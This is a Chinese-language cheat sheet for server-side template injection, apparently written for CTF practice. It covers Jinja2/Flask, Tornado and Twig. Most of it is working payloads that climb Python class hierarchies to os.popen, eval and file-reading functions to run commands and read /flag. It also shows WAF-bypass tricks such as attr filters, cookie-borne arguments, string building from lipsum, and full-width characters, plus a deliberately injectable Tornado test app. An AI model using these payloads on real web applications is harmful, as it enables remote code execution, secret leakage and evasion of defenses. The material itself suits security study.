快速判断模板类型

1
2
3
{{7*'7'}} 这个 payload 主要可以快速区分 Jinja2 和 Twig

Jinja2 输出 7777777 , Twig 输出 49
1
2
3
4
5
6
7
8
{{7*7}} 生效        -> Jinja2 / Twig / Nunjucks
{{7*'7'}}=7777777 -> Jinja2
{{7*'7'}}=49 -> Twig / Nunjucks
${7*7} 生效 -> Freemarker / JSP EL / SpringEL / Mako
<%= 7*7 %> 生效 -> ERB / EJS
#{7*7} 生效 -> Pug / Jade
[[${7*7}]] 生效 -> Thymeleaf
{$smarty.version} 生效 -> Smarty

有时候后端会进行Unicode规范化,把全角字符转为半角字符,所以有时候可以用全角来代替半角,全角替换脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def to_full_width(text):
result = ""
for char in text:
code = ord(char)
if 33 <= code <= 126:
code += 65248
elif code == 32:
code = 12288
result += chr(code)
return result

payload = "&#123;&#123;lipsum.__globals__['os'].popen('whoami').read()}}"

full_width_payload = to_full_width(payload)
print(f"原始: {payload}")
print(f"全角: {full_width_payload}")

Jinja2

1
2
3
4
5
6
7
8
9
10
11
12
__class__:查看当前对象所属的类

__mro__:查看当前类的继承关系(MethodResolutionOrder),通常用来找基类object

__base__:查看当前类的直接父类

__subclasses__():列出当前运行环境下,该类所有的子类,自定义的类也在这里(这是寻找RCE插件的关键)

__init__:类的初始化方法,访问构造函数,函数对象都有__globals__属性

__globals__:函数所在模块的全局变量字典,获取该函数运行时的所有全局变量、函数和引用的模块(如果这个类所在的文件夹里引用了os,或者它能访问__builtins__,那么os模块就会出现在这个字典里)
如果[]被禁__globals__要访问字典键可以:.os,.get("os"),|attr('os'),.__getitem__('os'),dict,request
1
要是没有什么类,可以用可以找找__builtins__工具,包含了python所有内置函数
1
有__class__属性的有:(),'',"",[],config,request,self,lipsum,cycler,joiner,namespace,url_for,get_flashed_messages
1
2
3
4
5
6
7
8
9
10
11
分隔符也可以改,开发者自定义
&#123;&#123;}}:变量、表达式打印,有回显

&#123;%%&#125;:语句、控制流,无回显,唯一有个print可以打印像
例:&#123;% if admin %&#125; ... &#123;% endif %&#125;
&#123;% for i in range(10) %&#125; ... &#123;% endfor %&#125;
&#123;% set a = 'os' %&#125;

&#123;##&#125;:注释,不会被执行

#:行语句需要开启配置
1
在jinja2中没有定义的变量值为Undefined对象
1
过滤器(join,attr)没有参数,可以不加括号
1
~:在jinja2中,在~两边的不管是什么都会被转成字符串,将字符连接在一起,如10~2=>"102","a"~"b"="ab"

常用模块和类

os模块

1
2
3
4
5
6
7
8
9
10
11
12
这是最直接的目标它通常隐藏在这些子类的__globals__中:

os._wrap_close(Python3极常用,索引通常在前150个)

warnings.catch_warnings(经典老牌)

site._Printer

linecache(因为它内部为了读取源码引用了os)
例:
&#123;&#123;().__class__.__bases__[0].__subclasses__()[索引].__init__.__globals__['os'].popen('whoami').read()}}
&#123;&#123;''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

inspect.Signature

1
2
?name=&#123;&#123;''.__class__.__base__.__subclasses__()[290].__init__.__globals__['os'].popen('cat/flag').read()}}
也有__builtins__chr(111)+chr(115)

subprocess.Popen

1
2
3
4
subprocess.Popen(通常直接出现在subclasses列表中)

例:&#123;&#123;().__class__.__bases__[0].__subclasses__()[索引]('ls',shell=True,stdout=-1).communicate()[0]}}
communicate()会返回一个元组,两个元素标准输出和标准错误

_frozen_importlib_external.FileLoader

1
2
3
4
5
可用于绕过那些过滤了os、popen、eval或open的waf
FileLoader是Python内部用来从硬盘加载文件的类它有一个内置方法叫get_data(0,path),第一个参数是self,get_data不会用到self,所以可以随便传参,但省略会报错

&#123;&#123;''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}
&#123;&#123;''.__class__.__base__.__subclasses__()[94].get_data(0,'/flag')}}

traceback.TracebackException

1
?name=&#123;&#123;''.__class__.__base__.__subclasses__()[292].__init__.__globals__['linecache']['os'].popen('ls/').read()}}}}

builtins模块

1
2
3
4
5
6
7
8
9
__builtins__就像一个百宝箱,里面包含了Python所有的内置函数,如eval,__import__,open
只要能访问到__globals__机会百分百__builtins__,而能访问__globals__的都是python写的,包括用户自定义的类
常用入口类:site.Quitter,site._Printer,warnings.catch_warnings

利用方式:

执行eval:__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

使用import:__globals__['__builtins__']['__import__']('os').system('ls')

flask.json.tag.JSONTag

1
&#123;&#123;''.__class__.__base__.__subclasses__()[446].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

绕过

过滤字符

request对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
是flask就有,flask.*
&#123;&#123;url_for.__globals__['request']}}
&#123;&#123;get_flashed_messages.__globals__['request']}}
request.args:解析后的URL查询字符串(GET参数)
结构:?name=abc&age=18,request.args.name调用
{'name':'abc','age':'18'}

request.form:POST请求中表单提交的数据
结构:类似字典

request.values:args和form的结合体

request.cookies:客户端发送的所有Cookie
SSTI价值:如果URL长度受限,可以将Payload放在Cookie里,通过request.cookies.mykey读取

request.headers:所有的HTTP请求头
结构:包含User-Agent,Referer,Host等
SSTI价值:可以用request.headers['User-Agent']来读取数据

request.method:请求方法(GET,POST,PUT等)

request.path:请求的路径(不带域名和参数,如/login)

request.url:完整的请求地址

request.host:服务器的主机名(域名)

request.remote_addr:客户端的真实IP地址

request.files:上传的文件对象

request.json:如果请求头是application/json,这里存放解析后的JSON数据

?name=&#123;&#123;().__class__.__base__.__subclasses__()[94][request.args.m1](0,request.args.m2)}}&m1=get_data&m2=/flag

pop函数

1
2
3
__subclasses__()是列表,__init__.__global__是字典都可以使用pop
pop会删除并返回指定键的值,通常一次性会导致环境崩溃
__subclasses__()[94]和__subclasses__().pop(94)值相等

lipsum函数

1
2
3
4
5
6
7
8
9
10
11
内置函数有__globals__属性,可以直接lipsum.__globals__
拥有模块:os

&#123;&#123;(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}}
cookie:m1=__globals__;m2=cat /flag;m3=os
&#123;&#123; (lipsum|attr(request.cookies.n)|attr(request.cookies.k))("os").popen(request.cookies.m).read() }}
cookie:n=__globals__;k=__getitem__;m=ls
&#123;&#123; (lipsum|attr(request.cookies.n))[request.cookies.k].popen(request.cookies.m).read() }}
cookie:n=__globals__;k=os;m=ls
&#123;&#123;(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}}
cookie:m1=__globals__;m2=cat /flag;m3=os

config

1
&#123;&#123;config.__class__.__init__.__globals_['os'].popen('ls','r').read()}}

|attr()过滤器

1
2
3
4
5
6
7
可以是字符串也可以是变量
lipsum|attr("__globals__") 等于 lipsum.__globals__

&#123;&#123;(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read()}}
Cookie:m1=__globals__;m2=cat /flag

lipsum|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f") 为lipsum.__globals

{%%}分隔符

1
2
3
4
&#123;%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read())%&#125;
cookie:m1=__globals__;m2=cat /flag;m3=os

&#123;% %&#125;中可以写set定义变量,&#123;&#123;}}会报错

字符拼接绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
dict:dict函数在创造字典时python会自动把赋值对象看成字符串
例:dict(name=1)直接生成{"name":1}
join:对字典使用join时,join会把字典的所有键拼接成一个字符串,所以dict(po=a,p=a)|join可以生成"pop",而a是占位符随便写


&#123;% set po=dict(po=a,p=a)|join%&#125; &#123;#设置po为pop#&#125;
&#123;% set a=(()|select|string|list)|attr(po)(24)%&#125; &#123;#&#123;&#123;()|select}}为<generator object select_or_reject at 0x7fbdb99af220>,pop(24)正好时下划线#&#125;
&#123;% set ini=(a,a,dict(init=a)|join,a,a)|join()%&#125; &#123;#设置ini为__init__#&#125;
&#123;% set glo=(a,a,dict(globals=a)|join,a,a)|join()%&#125; &#123;#设置glo为__globals__#&#125;
&#123;% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%&#125; &#123;#设置geti为__getitem__#&#125;
&#123;% set built=(a,a,dict(builtins=a)|join,a,a)|join()%&#125; &#123;#设置built为__builtins__#&#125;
&#123;% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%&#125;&#123;#设置x为q.__ini__.__globals__.__getitem__('__builtins')#&#125;
&#123;% set chr=x.chr%&#125; &#123;#提取__builtins__中的chr函数#&#125;
&#123;% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%&#125;&#123;#构造文件路径/flag#&#125;
&#123;%print(x.open(file).read())%&#125;&#123;#利用__builtins__.open('/flag').read()读取文件内容#&#125;


数字被过滤可以用count如&#123;%set n=(dict(cccc=a)|join)|count%&#125;将n赋值为4
length:count被过滤可以用length替换,jinja2的length和count完全等价




&#123;%print(lipsum|string|list)%&#125;
输出:
['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '6', 'b', 'f', '3', 'e', '4', 'c', '5', '5', '0', '>']
而我们要在这些字符中把我们想要的一个个拼起来
例:
&#123;%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%&#125;
&#123;%print(lipsum|attr(gl))%&#125;
gl为__globals__

poxis模块

1
posix.environ:环境变量字典

框架内置对象(Flask/Jinja2特有)

1
2
3
4
不需要从''出发,直接在模板中就能拿到的对象
config:泄露SECRET_KEY、数据库连接密码&#123;&#123;config}}
request:利用请求对象&#123;&#123;request.application.__self__._get_data_for_json.__globals__['os'].popen('id').read()}}
url_for/get_flashed_messages:&#123;&#123;url_for.__globals__['os'].popen('ls').read()}}
过滤()

查看配置信息

1
2
3
4
5
&#123;&#123;config}}

当config=None
&#123;&#123;url_for.__globals__['current_app'].config}}
&#123;&#123;get_flashed_messages.__globals__['current_app'].config}}

tornado

tornado是一款Python的高性能WEB框架,tornado模板注入的思路非常灵活,允许编写很多原生的python代码,和jinja2的注入思路是互相兼容的

{{ }}:用于写表达式

{% %}:用于写控制语句块,用于写if,for,try,import,set这类关键字

1
2
3
4
5
6
7
8
9
10
11
&#123;% apply ... %&#125;...&#123;% end %&#125; 用于执行函数

&#123;% block name %&#125;a&#123;% end %&#125; 定义一个名为name的区块,值是a

&#123;%set x=1 %&#125;定义局部变量

&#123;% raw ... %&#125; 不会把输出转义

&#123;% import os %&#125; 可直接导入模块

&#123;%set x=1 %&#125;定义局部变量

tornado主要有两个渲染函数render和render_string

render和render_string

我们可以在pycharm中查看render函数的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def render(self, template_name: str, **kwargs: Any) -> "Future[None]":
"""Renders the template with the given arguments as the response.

``render()`` calls ``finish()``, so no other output methods can be called
after it.

Returns a `.Future` with the same semantics as the one returned by `finish`.
Awaiting this `.Future` is optional.

.. versionchanged:: 5.1

Now returns a `.Future` instead of ``None``.
"""
if self._finished:
raise RuntimeError("Cannot render() after finish()")
html = self.render_string(template_name, **kwargs)

# 处理html和css...

return self.finish(html)

在render函数中可以看到又调用了render_string,继续追

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def render_string(self, template_name: str, **kwargs: Any) -> bytes:
"""Generate the given template with the given arguments.

We return the generated byte string (in utf8). To generate and
write a template as a response, use render() above.
"""
# If no template_path is specified, use the path of the calling file
template_path = self.get_template_path()
if not template_path:
frame = sys._getframe(0)
web_file = frame.f_code.co_filename
while frame.f_code.co_filename == web_file and frame.f_back is not None:
frame = frame.f_back
assert frame.f_code.co_filename is not None
template_path = os.path.dirname(frame.f_code.co_filename)
with RequestHandler._template_loader_lock:
if template_path not in RequestHandler._template_loaders:
loader = self.create_template_loader(template_path)
RequestHandler._template_loaders[template_path] = loader
else:
loader = RequestHandler._template_loaders[template_path]
t = loader.load(template_name)
namespace = self.get_template_namespace()
namespace.update(kwargs)
return t.generate(**namespace)

这里我们只需要注意这一段

1
2
3
if template_path not in RequestHandler._template_loaders:
loader = self.create_template_loader(template_path)
RequestHandler._template_loaders[template_path] = loader

这里有一个if判断,如果模板的路径已经存在_template_loaders字典中了,那模板就不会再加载

意思就是说如果你加载过了那个模板,之后无论再输入什么都是第一次显示的那个界面,不会重新加载了,需要重启才会重新加载

1
2
这是tornado的一个缓存机制
tornado模板这样做的目的是极致的优化性能,同时也更安全

还有后面这一段是一个重点,注意这里使用了一个get_template_namespace函数

1
2
3
namespace = self.get_template_namespace()
namespace.update(kwargs)
return t.generate(**namespace)

我们继续追踪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def get_template_namespace(self) -> Dict[str, Any]:
"""Returns a dictionary to be used as the default template namespace.

May be overridden by subclasses to add or modify values.

The results of this method will be combined with additional
defaults in the `tornado.template` module and keyword arguments
to `render` or `render_string`.
"""
namespace = dict(
handler=self,
request=self.request,
current_user=self.current_user,
locale=self.locale,
_=self.locale.translate,
pgettext=self.locale.pgettext,
static_url=self.static_url,
xsrf_form_html=self.xsrf_form_html,
reverse_url=self.reverse_url,
)
namespace.update(self.ui)
return namespace

这里我们可以看到如果程序调用了render和render_string函数,程序就会自动引入很多上下文对象

当然我们漏洞利用的话重点是handler和request对象

handler对象

在tornado模板注入中handler是一个很重要的对象,在上面的源码中我们可以看到handler是赋值了self,而self就是tornado.web.IndexHandler类的对象了,继承的是RequestHandler,在这个对象中我们可以得到非常丰富的信息

1
2
3
4
5
6
7
8
9
10
11
&#123;&#123;handler.settings}} 或 &#123;&#123;handler.application.settings}} //全局配置信息

&#123;&#123;handler.get_argument('a')}} //比如传入?a=123则返回值为123

&#123;&#123;handler.cookies}} //返回cookie值

&#123;&#123;handler.get_cookie("data")}} //返回cookie中data的值

&#123;&#123;handler.get_query_argument('a')}} //比如传入?a=123则返回值为123

&#123;&#123;handler.__dict__}} 查看handler的所有属性

request对象

同样的request也是一个很重要的对象,从上面来看这是handler的一个request属性,包含了http请求的各种信息

查看的话大概是这个样子

1
HTTPServerRequest(protocol='http', host='127.0.0.1:8888', method='GET', uri='/?name=&#123;&#123;handler.request}}', version='HTTP/1.1', remote_ip='127.0.0.1')

至于为什么是长这样要取决与他的**repr**魔术方法了

1
2
3
4
def __repr__(self) -> str:
attrs = ("protocol", "host", "method", "uri", "version", "remote_ip")
args = ", ".join([f"{n}={getattr(self, n)!r}" for n in attrs])
return f"{self.__class__.__name__}({args})"

主要有这些属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
request.query:包含 get 参数

request.query_arguments:get传参的字典

request.arguments:包含 get、post 参数,同样是字典

request.body:包含 post 参数

request.body_arguments:解析成字典的 post 参数

request.cookies:就是 cookie

request.files:上传的文件

request.headers:请求头

request.full_url:完整的 url

request.uri:包含 get 参数的 url

request.host:Host 头

request.host_name:Host 头

tornado.web.RequestHandler._template_loaders

这在tornado中是一个模板加载器,是一个私有字典,tornado用这个实现了懒加载机制,就跟前面说的一样,tornado只会把模板渲染一次,一次之后,如果不重启或把字典中对应的模板清空,是不会再加载的

当然,如handler.settings中有设置**”debug”:true**,会默认禁用这种缓存机制

这时候就危险得多,现实中很少这种情况,如果这个字典可以控制,我们也可以用他来读取文件

1
2
&#123;% set loader = list(handler._template_loaders.values())[0] %&#125;
&#123;&#123; loader.load('/flag').generate() }}

特性

字典键值覆盖

1
&#123;% block name %&#125;a&#123;% end %&#125;&#123;% block name %&#125;b&#123;% end %&#125; 输出bb

原理

模板引擎在底层有解析和渲染阶段

在底层有一个叫named_blocks的字典,这字典用来存储区块block对应的信息,block是具有唯一性的

解析阶段

引擎读到第一个 {% block name %}a{% end %},把区块存入字典:blocks = {“name”: “a”}

引擎紧接着读到第二个 {% block name %}b{% end %},由于字典的键(Key)必须是唯一的,后面的 “name” 会直接把前面的 “name” 覆盖掉。

此时,内部字典变成了:blocks = {“name”: “b”}

渲染阶段

引擎走到第一个区块的原始位置,去字典里查找名叫 name 的内容。字典里现在的记录是 “b”,于是输出 b。

引擎走到第二个区块的原始位置,再次去字典里查找名叫 name 的内容。字典里的记录依然是 “b”,于是再次输出 b,就形成了bb

我们可以利用模板覆盖这一特性,可以用来获取一些信息和执行一些命令

1
2
3
4
5
6
7
8
9
10
&#123;% block content %&#125;
这是一段非常安全、正常的文字,用来欺骗WAF
&#123;% end %&#125;
&#123;% block content %&#125;
&#123;&#123; handler.settings }} <!-- 真正的恶意代码,用于窃取服务器密钥或执行命令 -->
&#123;% end %&#125;
利用这个覆盖机制我们可以获取一些信息,执行一些命令


通常和&#123;% extends "base.html" %&#125;一起执行,如果extends的文件中也用block定义了块,也是可以覆盖的

测试用例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import tornado.ioloop
import tornado.web
from tornado.template import Template

class IndexHandler(tornado.web.RequestHandler):
def get(self):
tornado.web.RequestHandler._template_loaders = {}#清空模板引擎

with open('index.html', 'w') as (f):
f.write(self.get_argument('name'))

self.render('index.html')

app = tornado.web.Application(
[('/', IndexHandler)],
)
app.listen(8888, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()

为什么这里要清空模板,这里是为了更好的测试,原因上面已经说了

Twig

1
&#123;&#123;_self.env.registerUndefinedFilterCallback("exec")}}&#123;&#123;_self.env.getFilter("id")}}